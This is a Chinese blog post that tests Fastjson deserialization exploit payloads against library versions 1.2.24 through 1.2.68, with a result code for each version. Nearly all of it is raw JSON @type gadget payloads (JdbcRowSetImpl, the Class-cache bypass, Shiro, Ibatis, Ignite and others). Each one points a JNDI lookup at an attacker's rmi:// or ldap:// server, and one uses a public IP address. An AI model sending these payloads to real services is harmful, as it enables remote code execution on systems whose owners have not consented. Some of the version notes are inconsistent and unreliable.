fastjson漏洞不同版本payload测试

C1yas0

已于 2022-07-11 10:22:45 修改

阅读量2.5k

点赞数

文章标签： java apache 服务器

于 2022-07-11 10:22:25 首次发布

本文链接：https://blog.csdn.net/weixin_46706771/article/details/125716260

版权

本文记录了多个版本中JNDI配置引发报错或被拦截的情况，重点关注了不同JDBC RowSetImpl、JMS、数据库连接、Shiro等组件与JNDI的交互，以及如何根据报错策略进行版本排查和后续解决方案。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

备注说明：0：无报错无触发 1：报错但不是黑名单 2：被黑名单拦截或pop链不存在
测试版本按照顺序：1.2.24、1.2.41、1.2.42、1.2.47、1.2.62、1.2.67、1.2.68
如果连续出现两次2我就视为后续版本也不适用，不再继续检测

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
1.2.24、2、2

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
1.2.24、2、2

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
1.2.24、2、2

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
1.2.24、2、2

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
0、2、2

{"a":{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x.x.x.x:1999/Exploit","autoCommit": true}}
1.2.24、1.2.41、1.2.42、1.2.47、2、2

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
0、2、2

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
0、2、2

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
0、2、2

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
0、2、2

{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"rmi://39.99.154.30:1099/TouchFile"}}}
1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)

{"a":{"@type": "java.lang.AutoCloseable", "@type":"java.io.Reader"},"rand1":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dns_rmi_url"}}}
1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"dns_rmi_url"}
0、2、2

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"dns_rmi_url"}
0、2、2

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"dns_rmi_url"}, "namespace":""}
0、2、2

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"dns_rmi_url"}}
0、2、2

{"@type":"com.caucho.config.types.ResourceRef","lookupName": "dns_rmi_url"}
0、2、2

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["dns_rmi_url"], "Realms":[""]}
0、2、2

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"dns_rmi_url"}
0、2、2

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames": "dns_rmi_url"}
0、2、2

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName": "dns_rmi_url"}
0、2、2

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dns_rmi_url","autoCommit":true}
1.2.14、2、2

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"test":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dns_rmi_url","autoCommit":true}}}
1.2.14、1.2.41、1.2.42、1.2.47、2、2

{"@type":"org.apache.openjpa.ee.RegistryManagedRuntime","registryName":"dns_rmi_url", "rollbackOnly":null}
0、2、2

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"dns_rmi_url"}
0、2、2